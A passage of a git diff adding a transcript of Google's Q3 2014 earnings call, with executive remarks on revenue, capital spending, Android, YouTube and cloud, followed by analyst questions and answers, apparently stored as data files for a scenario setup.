strong operating cash flow at $6 billion. CapEx for the quarter was $2.4 billion, and +this quarter the majority of the CapEx was related to our data center construction, production equipment, and real estate +purchases, in that order. It's important to remember that our infrastructure supports all of our products, whether they are +core products like search or Ads, Maps or YouTube, but in addition to fueling our growth products like photos, and +Hangouts, Google for Work, and the cloud platform. +If you look at our data center announcements over the last four quarters, you also see that we've been really busy with +both groundbreakings and expansion all around the world, including Finland, Taiwan, Singapore, recently announced +Netherlands, in addition to our ongoing investments in the U.S. In total, our free cash flow was then $3.6 billion. +Before I close, want to give a brief update on Motorola. The team continues to work hard, and we look forward to +seeing them join the Lenovo team soon. Motorola had a great Q3 with strong user reviews for products like the Moto +X, Moto 360, and Moto Hint, clearly demonstrating the impressive momentum of the company. +So there you have it. Strong results with continued strong growth in both revenue and profits, and an optimism that +provides us the confidence to fund strategic growth opportunities, including the usual Android, Chromes, and +YouTube, but also Google for Work, and cloud, to name a few. +Before I hand things over to Omid, I would like to share with you some great news. I am really thrilled to announce +that Omid is now officially Google's Chief Business Officer, and this on a permanent basis. All of us at Google couldn't +be happier to see Omid at his post, running our business organization once again. +And with that, I'll turn it over to him for more details on our performance in the quarter. And after his remarks, as +usual, we will have Jamie open up the lines for your questions. Here you go, Omid. +Omid Kordestani +Thank you very much, Patrick. Hello, everyone. +I'm Omid Kordestani, I am happy to be back at my new, old job, and thank you for joining us this afternoon. I joined +Google back in 1999 to help get our business off the ground, and led our business operations until 2009. Since then, +I've served as an advisor to Larry, and outside Google, actively helped many entrepreneurs. +I'm thrilled to be back at Google leading our global business again. We continue to have the same boundless energy, +and endless curiosity we've always had as a company, and we are as focused as ever on our mission of making +information useful and accessible to everyone. +Case in point. We are really excited about this week's Android Lollipop launch. This is our largest release on Android +ever, with over 5000 APIs for developers. It adds new features, including better notifications, battery life, and security, +and introduces a refreshed, consistent visual style. And alongside the new devices, Nexus 6, Nexus 9, and Nexus +Player, consumers in India who bought the recently announced Android One will get the updates of the latest software +at the same time. +Now I will do a quick walk-through of the business highlights from Q3. As usual, we will give an overview of these +four areas: performance and brand advertising, our advertising platforms and our emerging non-ads businesses. +Let's start with performance advertising, the core of our business. People want the right information at the right time. +They don't want to have to think about whether it is on the web or in an app. We have learned this first hand as a +developer of many services, Maps, YouTube, Gmail, that also are some of the world's most popular mobile apps. +With that in mind, we have a simple goal with performance ads. Help marketers connect with customers at the right +moment to drive measurable results. Our partners have driven hundreds of millions of app downloads with AdMob and +our click to download formats. But most mobile apps are downloaded, used once, and eventually deleted. So we launch +new features to help advertisers reengage with users post download. +For example, advertisers can now deep link from their search ads directly into their mobile apps. To succeed with +multi-screen marketing, advertisers also need modern measurement tools so they can understand when their ads drive +phone calls from customers, result in conversions on other devices, or lead to store visits and purchases. +Last October, we announced Estimated Total Conversions, our effort to help marketers better measure the value of their +multi-screen advertising. We have worked to continue developing this product and launched cross device measurement +for display ads. Clients have already found that mobile display campaigns drive 15% more conversions than they had +previously measured. +Let's shift gears to talk about our shopping efforts. These dovetail nicely with performance ads. We are directly +connecting people with products and services, and then enabling them to buy, and have them delivered. We keep +making improvements to our products to help retailers. +Keeping inventory organized and up-to-date is a constant challenge for retailers. We help them manage this issue by +completing the transition of product listing ads to our shopping campaigns platform. +And finally, people often want to find stores near them to make a purchase in person. We have long had local inventory +ads that enable merchants to show customers this information in the U.S., and we launched these in the U.K., France, +Germany, Japan, and Australia last quarter. In summary, the core of our business, performance advertising, continues to +deliver great results. +Let's move on now to our brand business. Our objective is clear here: make digital the best possible canvas for creative +and effective brand building campaigns. First, let's talk about YouTube. Any conversation about great advertising starts +with great content. On YouTube, stars produce amazing content that our users love, from Bethany Mota, to Smosh to +Mental Floss. +Earlier this year, we launched Google Preferred to help connect brands with premium ad inventory on our most popular +YouTube channels. Since then, we have secured upfront commitments from top media agencies. We're just getting +started with YouTube and its potential. We've sold out the majority of our U.S. Google Preferred offering, which +represents among the top 5% of popular channels inventory on YouTube, and as result of terrific Brandcast events in +Germany, France, U.K., and Australia, we're seeing tremendous interest from local agency partners around the world. +Last quarter, we also saw some great progress in our brand efforts beyond YouTube. We launched new ad formats +customized for mobile screens. We also announced an expansion of YouTube's TrueView ads into AdMob's network of +more than 650,000 mobile apps. Every day, our teams work to develop both the products and terrific partner +relationships that enable us to tackle any digital marketing challenge across multiple channels together. +With encouragement from Google and YouTube, ABC executed a digital-first marketing plan for their new fall TV +lineup. The effort included custom five second ads for TrueView and collaborations with homegrown YouTube stars. +We are very excited about the new deal with Mondelez and Starcom MediaVest. This global agreement will focus on +video and display and is Mondelez's largest digital medial deal ever. +Next let's take a look at one of the fastest-growing parts of the digital advertising world, programmatic platforms for +agencies and publishers. For many years now, our goal has been to provide world-class technology for brands, +agencies, and publishers to power their ad businesses. Today, our DoubleClick suite is used by all major agencies, and +we are particularly focused on multi-screen and video. +DoubleClick Bid Manager is the go-to tool for marketers and agencies to navigate the rapidly growing programmatic +advertising space. It's doubled in size year-over-year by impression volume, and we really love the progress we see +here. +For publishers, we help them make money from the content via our publisher tools, from our Ad Exchange to +customized private exchanges which complement our core offerings. This quarter, we signed new private advertising +exchange deals with publishers like Fox TV and Edmonds. This helps publishers generate revenue from premium ad +space. We have nearly doubled the number of private exchanges running on our system year-over-year. +Finally, we are seeing remarkable momentum in our newer non-ads businesses. Whether it's Play, Hardware or Google +for Work, we continue to see strong growth and we're thrilled to be the platform for our partners successes as well. +Google Play's growth continues to impress. It's a linchpin of the amazing Android ecosystem. We brought Play Music +to 17 new countries, bringing the total to 45, and our expansion continues. Today, Play Movies is available in 93 +countries, and Play Books is available in 61 countries. +On the hardware front, just yesterday, we unveiled three fantastic new Nexus devices: Nexus 6 phone, Nexus 9 tablet, +and Nexus Player, an Android-powered streaming media player. +This quarter we worked with HP, Toshiba and Acer to introduce five new Chromebook devices, and teamed up with +ASUS, LG, Motorola, Samsung, and Sony to help launch new Android Wear devices. We're also selling Chromebook +in six new countries. They are now available in 31 countries around the world. And we sold more than 1 million +Chromebooks for education this quarter, even more than last quarter. +Chromecast celebrated its first birthday this past quarter. It's been a smashing success. Users have hit the cast button +more than 400 million times since it launched to enjoy their favorite sports, music, premium movies, and TV shows. In +September, we added even more content to Chromecast including Disney content. +And we were so proud to launch Android One, an effort to make high-quality, low-cost smartphones available to as +many people as possible. We started in India and will be expanding to other countries, including Indonesia and the +Philippines, in the coming months. +For businesses, what was called Google Enterprise is now simply Google for Work. This business has great traction. In +addition to the tremendous growth in our Apps business, we have more than 1,800 sign-ups for Google Drive for Work +every week, plus there are almost a quarter of a billion active Google Drive users, including consumer, education and +business users. +We continue to invest in our growing cloud platform business, helping developers realize the promise of cloud +computing, by providing affordable on-demand access to world-class technology. We recently announced Google +Cloud Platform for Startups, and offer up to $100,000 in credits to enable the best and brightest startups to use Google's +Cloud platform. +Sony Music recently built an interactive app in less than three weeks using App Engine to engage fans tuning into One +Direction Day, an eight-hour YouTube live stream featuring the band, one of the largest ever YouTube music live +streams. +Lastly, our Marketing team had a great quarter as well. Google My Business helped more small businesses get online, +and our Art, Copy & Code projects showed advertisers the creative potential of digital marketing. And from the annual +Google Science Fair to more recent campaigns showcasing amazing content on Play, YouTube Stars, and the power of +the Google App, the magic of Google was on prominent display. +All told, it was another terrific quarter at Google, continued momentum in our core business, and exciting innovation in +new areas. Kudos to the Googlers around the world who made it all happen. +I'll turn it over to Patrick to wrap up and start our Q&A. +Patrick Pichette +Thank you, Omid. So, Jamie, if you want to give us the instructions, and we'll get going on the Q&A. +Q&A +Operator +Thank you. [Operator Instructions] And we'll take our first question from Eric Sheridan with UBS. +: Thanks for taking the questions. So first one, maybe with the announcement that you're +expanding Google Shopping Express into other cities and rebranding it and new retailers are coming on, wanted to see +what you saw in those first few cities to think about extending it further into the other cities, and what you might be +hearing from feedback from retailers about adopting the platform, because a few also dropped off the platform at the +same time. I just wanted to get a little bit better color about how that was developing and how you're going to go +forward with it. Thanks. +: Thank you very much, Eric. So we're really trying to learn a lot here. Innovation is a messy +process, and especially with Google Express here, there's a lot of understanding that we need to have on improving +efficiency in the logistics process, trying to find price points that shoppers find attractive, and our goal is really to help +the 35 – over 35 merchant partners succeed and reach their customers. And I am a user of it, and I'm really impressed +by how much time it saves. I see the cars running around the city, around me. And I think our goal is really to take it a +step at a time and see the success, understand the logistics – logistical operations, how much it costs us to do this, and +can we deliver this basically in a successful way. +: Just, Eric – just a couple of, kind of, additional points. One is, clearly we've announced this +week three other cities. So if you go back to the fundamental premise of kind of the argument we tabled which is – the +first thing was, would people show up and want this product? It's very clear people want this product. The second one +was – and that's why we're expanding the product. +The second question then is, we've had a lot of questions about monetization, and we've announced this week we're +taking real actions on the monetization service, both including commissions on these transactions for merchants, but +also service fees that were announced as well. +So from that perspective, we kind of think of it as now we're in phase two of this product where, according to our +business plan, right, we continue to kind of look for the barriers, the milestones. And then when we hit those +milestones, then we with enthusiasm keep on going. +All this to say, it is nevertheless a scale business so working on efficiencies, working on all of the issues that are related +to logistics, continues to be a big focus of ours. On the partners, we're really thrilled to have the partners we have. You +can expect as we kind of grow through this, that we have a few coming in, more coming in, few coming out. But +overall, very, very pleased with the trajectory there. I think you should see the announcements of this week as just kind +of a sign of optimism and momentum in it. +Thank you so much for your question, Eric. +: Great. +: Jamie, let's go to our next question. +Operator +And we'll go next to Justin Post with Merrill Lynch. +: Thank you. I'm wondering if you could help us at all, segregate the Search business from other +items in Google website, and just give us your view on the health of the Search business. And then comment a little bit +on that paid click deceleration. What is driving that, and do you even see that as an important metric? Thank you. +: So I'll take that. The two points is one, look, we don't give the breakdown of the Google Sites. +But actually, it's pretty healthy on all dimensions. I think that from that perspective, search is going well, and all of the +other dimensions of our Sites is actually doing pretty well. That's what you see in our kind of 20% year-over-year, just +for Sites, growth. So from that perspective, I think that we're pretty happy on that front. +On the CPC issue, it's pretty simple. I mean, we really had, again, you have to think of the CPC and the volume as one +basket that actually delivers. So monetization overall is still very strong. We're very happy with the monetization, +Jamie, and if we have in one quarter kind of movements between one or the other, that is just basically the continued +experimentation and the impact of all of the factors that I usually talk about. So from that perspective, there's nothing of +noteworthy to kind of mention this quarter. We are very happy with the trends in both cases. +: Thank you. +: Thanks, Jamie. Jamie, we'll go to our next question. Sorry, Justin I meant. Jamie, we'll go to +our next question. +Operator +And we'll go next to Stephen Ju with Credit Suisse. +: Thanks. I think in the past you've talked about the opportunity cost not being there for the user +when they're trying to access your products and services, as a rationale for making investments. So is there any data +you can show on your newest users in the emerging markets who are going straight to mobile? Is it safe to assume that +consumption from these new users are running at a pretty similar growth trajectory with what you've seen historically +on a desktop and as well as your established markets or is their engagement with all of your products more intense? +And is there anything you can say in terms of what areas of your business are seeing the more intense level of +investments? Is it more your consumer focused initiatives or more your enterprise focus cloud initiatives? Thank you. +: So a couple of points there, and then if Omid has additional comments. One is clearly +emerging businesses, emerging markets are just fundamentally different than the more developed markets, right? If you +think of a country like Indonesia, or India where people go straight to mobile and so in that context, there's clearly, a lot +of differences between those markets, and how they are evolving, compared to what would've been 10 years ago in the +U.K. or the U.S. So from that perspective, I think that, and that's why you see us launch things like Android One, right? +When you have just under 2 billion people around the world that have already smartphones, the vast majority of the +population looks for things online. So these kind of initiatives that we're launching I think is the most important piece. +From an investment at Google, we're investing without giving you all the details, we are clearly investing in our core +business, it remains the focus of our activities. But if you look across, right, as Omid mentioned, he mentioned the +Cloud business, the Google for Work business, all of these other areas, the Play business, the hardware business, these +are all areas where we're investing, and we're investing with enthusiasm. With each their own specific business case, +each of them actually looking for what is their growth and profitability models, and we just monitor them pretty tightly. +Okay. +: Thank you. +: You're welcome. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark Mahaney with RBC Capital Markets. +: Hey, Patrick. In describing the Google search strength, you said you saw particular strength +in mobile search. Could you elaborate? +: Yes. No. I mean, look, it's very clear that mobile is still a big part of our growth, and we're +very pleased about it. I mean, but when we talk about mobile, I think that there's a couple of things. One is you have to +continue to look at both, the growth in volume, and the growth in pricing, so these are long-term trends that we're +seeing. The CPCs and the clicks, they can fluctuate from quarter to quarter. It just happens that we've made some +changes this quarter that improved the mobile pricing while impacting the lower quality clicks, and that's what you see +reflected in our numbers. +Again, but I wouldn't just as an overall statement remember to everybody that I would not attribute the aggregate CPCs +movement just to that one factor of mobile, right? Because there's still a full factor mix, as I talked about in my remarks +about geography and product changes. So all of this actually makes a big factor as well. So that's what we've seen in the +strength of mobile, but we're still very pleased with the momentum. +Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Ross Sandler with Deutsche Bank. +: Thanks, guys. I have two questions, first on the U.K. and then second on mobile payments. So +the U.K. growth looks like it's dropping off pretty hard on an ex-FX basis, either one-year or two-year growth rates, so +I think this is an economy that folks generally think is supposed to be holding up pretty well. So can you talk about +what you're seeing in the U.K.? You had mentioned weather and a few other things, but a little more color on what's +going on with the ad market in the U.K. +And then mobile payments, that's an area that's getting a lot of attention lately. Can you just give us an update on where +the Google Wallet team stands and what kind of traction you're seeing in terms of user adoption and maybe how you +plan on addressing merchant payments, kind of outside of in-app or things from the App Store? Thank you. +: So, Ross, why don't I take the first question, and then Omid will give you the answer to the +second. As we talk about the U.K., a couple points are worth note. One is, the U.K. contributed roughly 10% of our +total revenue this quarter, and that's been the same for kind of the past many quarters, and in fact, if you go back years, +it'll still be in the same range. So there's nothing kind of fundamental that is worth noting. It's still a pretty good market +with decent growth. +The issue of deceleration this quarter, specifically, I mentioned a number of elements, right? So platform mix. We do +see a mixture of desktop/tablet searches having a greater impact in the U.K. than anywhere else than we see in our +network of countries. +On property mix, you'll remember we talked about this also on prior calls, AFS, as a business, has a much bigger part +of our both U.K. and U.S. business, so it'll skew to those geographies. And so those are kind of some of the elements. +And as I mentioned, year-over-year comps were difficult, and if you have a great summer in terms of weather or bad +summer in weather, it can have some real impact on the growth rates as well. So it's a combination of a number of +factors that the U.K. has driven our performance, but still pretty pleased. But I won't, that's really what's going on there. +In terms of the payments, I'll let Omid give you an update there. +: Hi, Ross. I think our goal here is really achieving mass merchant adoption, so the availability +of these NFC devices is about that and also making it easier for consumers to replace their wallets with their +smartphones, hopefully, more and more over time. So reducing friction in everyday shopping experiences is how we +approach it, and the focus on the user, and we're really developing a fully functional payment system. So as you may +know, users can send money today to friends through Gmail using the Wallet app. We have loyalty and gift cards that +can be stored the Wallet app, and the Buy With Google button makes it possible for users to make purchases very +quickly with two clicks. So again, it's this two-fronted focus on merchant adoption and removing the friction for users. +Thank you. +: Thanks, Ross. Jamie, let's go to our next question, please. +Operator +And we'll go next to Ben Schachter with Macquarie. +: Omid, after many years of waiting for television budgets to shift online, it appears to be +happening in a more accelerated fashion. So, one, do you agree with that, and two, could you just discuss YouTube's +positioning versus competitors, and in particular, Facebook Video. +And then Patrick, couple of quick ones for you. One, given the evolution of tax laws in Europe, how are you and how +should we be thinking about Google's tax rate over the coming years? And then also, just any comments on stock comp +being particularly high this quarter? Thanks. +: Thank you, Ben. This is Omid. So the way we look at it is that users are really accessing +Internet on large screens with high broadband speeds, and we're getting great monetization on these screens, and +advertisers are really paying attention. So we have seen a real shift where marketers and agencies who have historically +built their brands on TV are really reorienting this toward investments on digital. And in regards to YouTube, our focus +here is really this focus on investments in more content, more creativity. +And I think you also mentioned you had a Facebook comment. What they're doing, I think, in video has always helped +us with bringing more attention and more innovation to the space, so we welcome that, and the way we're going to +approach it is just continue to invest in our platform and on the creators, and building better and better monetization +solutions. Just again, you may know some of these metrics, but I'll say it again. We have 400 hours of content that are +uploaded every minute, and partner revenues up 60% from 2012 to 2013 on YouTube. +: Great. Let me jump, Ben, on the YouTube-specific questions. On the tax issues, I mean, +you've heard about the Ireland announcement earlier this week on the double Irish tax structure. I mean, for us, we've +always said that it's for politicians to decide what laws they want to put in then for companies just to comply with those +laws, and that's what we're basically doing. +So we're deeply committed to Ireland. We've worked there for many years. We have a great – that's our headquarters. +We have over 2,500 employees there. And so from that perspective, we're committed to the place. And we're going to +work with the authorities just to kind of get clarifications over this, but it's really way too early to tell what's going to +happen. So we're just – just like you, getting the information, the news, and we're going to work with the authorities to +understand it better, and then comply with the laws. +In terms of stock-based compensation, a few – just a few notes on this one for this quarter. We have – it's the time of +year where we do equity refresh. And from a timing perspective, last year we did the equity refresh in Q2 instead of +Q3. So there's kind of like a geography of Q2 versus Q3 that kind of hit us in Q3. In addition to this, we – if you go to +our filings, you'll see that our executive compensation, so think of the top 15 or top 20, I can't remember the exact +numbers but it's stated there, that they do their refreshes every two years, and it happens to be this quarter as well. And +then finally, I mean, we obviously have more employees. So it's just a compounding set of factors, Ben, that I kind of +lumped it all into Q3. So it's no more, no less than that on that one. So... +: Thank you. +: Thanks for your question. Jamie, let's go to our next question, please. +Operator +And we'll go next to Anthony DiClemente with Nomura. +: Thanks a lot. Just on core operating expenses, is there anything in particular, Patrick, +that you might call out in terms of expense growth in the quarter, as you have operating deleverage through the P&L? +I'm just wondering going forward if that's likely to continue. +And then a question for Omid, I suppose, on YouTube, you mentioned – I know that YouTube's investing in its studio +as a way to help along new talent, new home-grown talent, onto the new platform directly. I'm wondering if you could +talk about the multi-channel networks, how YouTube's relationships with the multi-channel networks, the MCNs, are +evolving at a high level, how you guys think about that dynamic between the home-grown YouTube talent itself, as +compared to talent that resides on the MCNs? Thanks. +: Okay, Anthony. Thank you for your question. Why don't I jump in right now on just expenses +for the quarter. I think if I had two comments to make on expenses in the quarter, you may notice that relative to a few +models that I saw out there, R&D is – was higher and other areas are a bit lower. And I just want to highlight that we +hire and we focus clearly our hiring in our tech payrolls or, think of it as, all of our engineering. And that skews to +R&D. So as we bring on people and we push forward the growth of our – we really focus it in the areas that are going +to make a fundamental difference to Google, which is engineering and by doing so, it kind of skews to R&D. So that's +why R&D was maybe a bit higher than expected by some models out there. And so that's one piece. +And then the other one is, I just wanted to reiterate that, I mean, it's very clearly an extraordinary quarter from a hiring +perspective for the comments I've made before. And so, we're kind of clearly seeing that, but at the same time I +wouldn't say that this is clearly a new run rate for us or anything like that. It just happened that most of these kind of +college students end up landing in Q3, and we have the result of a banner year from a hiring perspective. All through, it +takes a year to hire them all, and then they come into this quarter. So that's really the – kind of the two big elements that +have actually flowed, Anthony, through our P&L this quarter. +: Okay, great. Thanks. +: I'll let Omid answer the YouTube question. +: Yes, Anthony. So again, we have a very, very partnership-minded organization here, and +company as a whole. So we view MCNs as, I mean, organizations that are really going to help a developer of great +content, support the creators on YouTube. Just like we are doing that with YouTube Studios, I think MCNs can help a +lot of these become future stars, hopefully, and develop more success. So just, we view it as another form of +partnership that we need to pay attention to and support, so that's how we look at it. +: Thank you, Anthony. Jamie, let's go to our next question, please. +Operator +And we'll go next to Carlos Kirjner with Sanford Bernstein. +: Thank you. I have two questions. Patrick, is CapEx still driven by real estate and +construction? And if you ask, can you explain in a bit more detail what changed about 18 months ago in the way you +acquire real estate and build to drive the inflection in capital-intensity that we have seen? It looks like you operated for +more than 10 years in one way, and then there was a shift that has led to this massive inflection. So what happened +there? +Secondly, do you think that Google Login is adopted or is about to be adopted by large enough number of important +mobile apps for you to be competitive and long term when it comes to offering mobile targeting attribution? And can +you give us an update on developer adoption of deep linking ? Thank you. +: Okay. So I can certainly take the first and let Omid answer the second. I've made that +comment before in the prior quarter, Carlos. The CapEx intensity in our CapEx program has been built by a +combination of, as I mentioned in previous quarters, catching up when we were running too hot in terms of tightening +of capacity. And so, on one side I am very happy that when we kind of really torque our utilization rates, on the other +side it creates a lot of operational issues. And that led us to believe that in fact investing ahead of the curve was actually +a strategic imperative for us to make sure that if we have the extra capacity, we will grow into it. And I mean the +difference between certainly on the data center side, right, the data center construction and machines. And you will +have noticed that this quarter again, the priorities, if you look at the nomenclature I gave, right, construction of data +center is the primary. So it is the core infrastructures, it's groundbreaking, and it is setting up the core infrastructures. +Machine was the second quarter for this quarter, but you'll notice that it for flip flops with real estate. In the case of the +real estate, I mean, you – we have been investing for our campus and otherwise when we see – when we hit this kind of +minimum scale, we need to kind of make investments in real estate. And again with an eye of looking to the long-term +rather than just filling at least for the next 12 months or 24 months, because once you kind of, if you decide you're +going to grow in a place, then need the capacity for multi years, so all of these factors have actually kind of been the +driver for the shift in capital intensity that you have seen over the last 18 months. So that is basically the explanation, +Carlos. +I will let Omid kind of jump on the second question about the mobile question. +: Sure. Thanks, Carlos. +So the AdMob network, which is 900 million unique devices per month, and our own apps are hugely popular, Gmail, +Maps, Google App and YouTube. And our focus is also is helping developers generate app downloads and +reengagement with users who have already downloaded their apps, as I mentioned in my remarks earlier. And we're +really helping drive hundreds of millions of app downloads through app promotion products. Again, the goal here is +that you just search and not worry about where the answer is, is it on a web page or an app? And we have been in this +game for a while. +Four years ago, we acquired AdMob and have continued to invest in this space heavily. And this quarter we launched +the next generation of these app promotion ads across Google Search, Google Display Network and YouTube. So we're +really focused in this area to help the developers and our users. +: I think we can clearly say that we're pretty pleased with the developer adoption of this. They +see huge a huge benefit, so they're actually investing in it. Thank you, Carlos. +: Thank you. +: Jamie, let's go to our next question, please. +Operator +And we'll go next to Douglas Anmuth with JPMorgan. +: Thanks for taking the questions. Just two for Omid. First, you talked about Estimated +Conversions and seeing a 15% increase there. Can you just talk about whether you think that's actually leading to more +spend at this point from advertisers? +And then secondly, are you seeing mobile like-for-like pricing improvements at this point? And what gives you the +confidence in mobile closing the gap with desktop over time? +: Okay. So both are really good questions. They're related really. I think the way this is going +to play out is that I think advertisers are going to, with these tools, be able to just understand conversions better. Where +is it happening? And then the dynamics of how those changes is all the way back to adjusting bids and then paying +attention to where the conversions are coming from. +So again, I think just to maybe highlight some examples for you, the fashion retailer, Express, who is an early tester +found that the overall return on their ad spend doubled when off-line sales were included in the online advertising +results. So we're just continuing to invest here, and get this right. It is too early to figure out the impact exactly on +revenue, but we expect Estimated Total Conversion to help the advertisers truly measure this, and ultimately adjust +their bidding, and just get much more sophisticated in these measurements. I hope that answers. +: And mobile on a like-for-like basis? +: The way we are focused on this is that users really are using the screens interchangeably, +simultaneously throughout the day. And we really are not at this point doing this like-by-like comparisons or comment +on it, because we think it's still early, and we're really focused on just delivering the results, and it took many years, for +example, for the desktop ecosystem to develop the right ad formats, and that really take advantage of the platform. So I +think we just need to continue innovating, experimenting here to get it right. +: Thank you. +: Thanks, Douglas. Jamie, let's go to our next question, please. +Operator +And we'll go next to Mark May with Citi. +: Thanks for taking my question. Whether or not there's been quite a bit of attention paid to cloud +services space and Google in particular. Wondering if you can comment a little bit around the traction that you're +getting with compute engine, and what sort of impact that, that is having on revenue expenses and CapEx for the +business. +And then secondly, hoping, I think earlier you made a comment around some changes you've made in mobile that have +impacted some of your network click metrics. So hoping you could elaborate a bit more on that. +: Okay. Do you want me to...? +: Go ahead. +: I will just jump on the cloud, and then the last piece, and then maybe, I wasn't sure what the +very first part of your question, Mark, was. But clearly, cloud is an area that is kind of booming. Right? We know that +the long-term trends are very clear for us, which is the vast majority of businesses, everybody's moving their +infrastructures to the Cloud. So and it is an area where we have fundamentally great assets to contribute to this industry, +both in terms of the flexibility, the cost structure, the technology. And that's why we're investing heavily in there. +We're seeing great progress from an adoption perspective, signing up new customers, and from a CapEx. Obviously, +you need to kind of, that's one of them that as I mentioned on the CapEx story with Carlos a few minutes ago, if you do +take off, and you really get the kind of customer adoption that you expect, if you don't have the capacity in place, it can +have a really important kind of differential in your success. So there is one that we're keeping a pretty close eye on +from a CapEx perspective, and making sure that we have the option value. +On the – the third question was mobile did have network click. Yes. Clicks and CPCs always fluctuate from quarter to +quarter. It just happens that we have, as I mentioned, made some changes this quarter that improved our mobile pricing +while impacting low quality clicks. Sometimes it goes, if you think of a long-term trend in the mobile sector, a piece of +our products, sometimes you kind of put new change in the network, and then it creates a lot of clicks for it, but then +the CPCs are much lower. And then if it doesn't actually create something that's really good for the user, you need to +kind of pull back on it, that's you've heard, for example, parallel to the AFS business. +So it's kind of constantly fluctuating. What's really important to like that is really the combined volume and pricing +growth. And so for us, it's very clear that we're doing some great work in this area, and monetization in the aggregate is +doing very well. That's really what we're, like on a quarter over quarter basis, don't panic about little movements here +and there. You look at the fundamental trends, and that's where we're very pleased. +Did you have a first, was there a first question that I missed, Mark? +: No. I was hoping on cloud that maybe you could put some numbers behind the level of traction +in terms of number of customers, impact on expenses, CapEx, the level of investment in the cloud...? +: I see. Okay. So, I mean, I've given you what I can give you on that. Again, we're really thrilled +by momentum there and our focus in that area. +: Thanks. +: Thanks, Mark. Jamie, we'll go to our next question, please. +Operator +And we'll go next to Peter Stabler with Wells Fargo Securities. +: Thanks for taking the question. One for Omid. Going back to Estimated Total Conversions, +I'm wondering if we could expect odometry to be integrated into the DoubleClick platform, and how that may or may +not work with the Estimated Total Conversions tool? +And then finally, I'm wondering if you could comment on your work around coming up with a solution that reduces the +dependence upon cookies and perhaps introduces a cross-platform, or cross device ID for Google, and what impact that +could have on the market. Thank you. +: Sure. I think, again, it's early for us to call out odometry. It's a great attribution solution, and +we've been investing in that tool for a long time now, and trying to just get this right by all the innovation that's +happening within Google, and just really understanding the impact of these usage models and between the mobile +devices and desktop. +And so, I think we're going to look at the – everything that's available out there, both what we're developing and +partners out there that we could partner with, and continue to invest here. It's going to take us, I think, a while, just like +we've experienced before with search, to get this right and have a real end-to-end solution for marketers and publishers. +And so, I think you'll see a lot of innovation in this space, what Facebook recently announced another approach, and +we're going to study that and just figure out what is the right set of offerings from us. So I guess unfortunately, I can't +give you a very specific answer here. But I think what you'll see from us is, pay a huge amount of attention here, make +the measurements, see the impact, and then offer a full suite to our customers. +: Yeah, so just basically, too early to speculate on these issues. But clearly it's an area of focus +of the company. +: Thank you. +: Thank you, Peter. Jamie, our next question, please? +Operator +And we'll go next to Heather Bellini with Goldman Sachs. +: Great. Thank you. I had two questions. The first was a follow-up on Google Shopping +Express. I mean, just wondering, when you think about what Amazon is doing with same-day delivery, they're +obviously building these fulfillment centers themselves, which theoretically should give them scale over time. I'm +wondering if you could share with us how you see this evolving for Google over time. +And then a follow-up question would just be related to your comments about payments, and I'm just wondering how +critical is it for Google itself to solve the payment friction that you're seeing with kind of a ubiquitous digital wallet or +would you be fine with a third party doing so for the Android platform? +: Thank you, Heather. I'll take the first and then led Omid answer the second. Clearly, Google +Shopping Express, I mean, there is an issue of scale, and it's a combination of an issue of scale, tools and efficiency. I +mean, that's how you, if you think over time, end up with a product that you can deliver within kind of hours at the +right value and where you can make money. So it's not only about central. I mean, yes, for efficiency you need +centralization, you need a bunch of distribution tools that actually work. We're clearly focused on that as well. I mean, +it is part of the business case that we're building. But you need more than that, right? There's a lot of other elements as +well. So clearly, focused like our competitors would be. +And in our announcements today, again, right, kind of our – was it yesterday? Yesterday's announcements on Shopping +Express kind of tell you that we are investing both for the three new cities to kind of give you a hint of, yes, it's about +scale. So clearly we're focused on that. +: Yeah, and, Heather, on the Wallet question, I think again we're going to continue to be open +here. So we are trying to get it right and innovating on multiple fronts, as I mentioned earlier. And if partnering makes +sense, we'll take a look at it as well. So – and the goal is, here, really to provide this very seamless experience for the +users, and then get the merchant adoption and hopefully get this right. I'm certainly delighted every time I use this and +it works. And I think if we can all get the ecosystem right and there are multiple players in it and partnerships that are +making it happen, we're definitely open to that. +: Thank you, Heather. Let's go to our next question. +Operator +And we'll go next to Paul Vogel with Barclays. +: Yeah, great. Thank you very much. As Google Play has grown, I'm just wondering if you could talk +about the relationships with the carriers and how that's evolving over time. +: Yeah, I can answer that. So essentially, Google Play is doing great. And everybody wants to +kind of be part of this answer. And so for our carriers, I mean, they're really done on a one-by-one basis. So the real +question is, what's the win-win? And so they're all done individually. We have great, great partnerships with many +carriers that actually fuel this, including carrier billing. So all this actually is just a very, very positive ecosystem for us, +and so we're totally thrilled to have these partnerships. And we expect to continue to do so. +: Thanks. +: Thanks, Paul. Jamie, one more question? +Operator +And we'll take our final question from Brian Pitz with Jefferies. +: Great. Thanks for the questions. Two on video for Omid. You mentioned Google Preferred in +your comments. Any color on further expanding the upfront process with the ad agencies? Basically, do you anticipate +that upwards of 5% to 10% of your top inventory could actually be set aside for Preferred, longer-term? +And then just given the shift of off-line TV dollars to online, as you've mentioned, any comments on political, +specifically, or other new categories more aggressively moving onto YouTube? Thanks so much. +: Sure. Thank you, Brian. +So we secured upfront commitments from five top agencies, IPG, OMD, Digitas, Carat, SMG and some major brands +like General Motors and Coca-Cola, and we were actually very, very pleased with how Google Preferred was +experienced and adopted. So I think we're going to definitely continue working on this, and also if you look at our +history, we're very used to it, the selling model that was all about performance, and then as we added properties like +YouTube and brand and mobile, we're just getting, more and more now gaining a better understanding of how to work +in this upfront process, for example, to offer the marketers this incredible asset that we have in YouTube and our +network. +So we're going to just continue getting better on the products side, figure out how to package this inventory better and +then the tools that are needed. And then on the selling side, just get better at also working with the agencies and our +advertisers and marketers to get this type of selling right. +And on the political vertical, I think clients love to use our products as part of their campaigns for federal, local, state +campaigns, and it is a really great area for us. We have, actually, a political sales team that's focused on it, so I think +you'll see more of that effort from us. +: Great. Thanks. +: Thank you very much. +Patrick Pichette +Thanks, Brian. Jamie, that's all the time we have. So if you don't mind, I'd just like to close by reiterating what Omid +said a bit earlier. +This quarter was a great quarter with great momentum again, and I just wanted to thank all the great efforts of our +Googlers around the world who make us look good on this call because of their fantastic efforts. +So with that, Jamie, I'll let you close the call, and have a happy Q4, everyone. +Operator +Thank you. Again, that does conclude today's conference. We do appreciate everyone's participation. + Current Time : 2020.06.14-17.27.50 diff --git a/scenarios/scenario_5/infra/s3_files/2_GDPR.txt b/scenarios/scenario_5/infra/s3_files/2_GDPR.txt new file mode 100644 index 0000000..419c423 --- /dev/null +++ b/scenarios/scenario_5/infra/s3_files/2_GDPR.txt @@ -0,0 +1,540 @@ +iQ3 2014 Earnings Call +Company Participants +• Ellen West +• Patrick Pichette +• Omid Kordestani 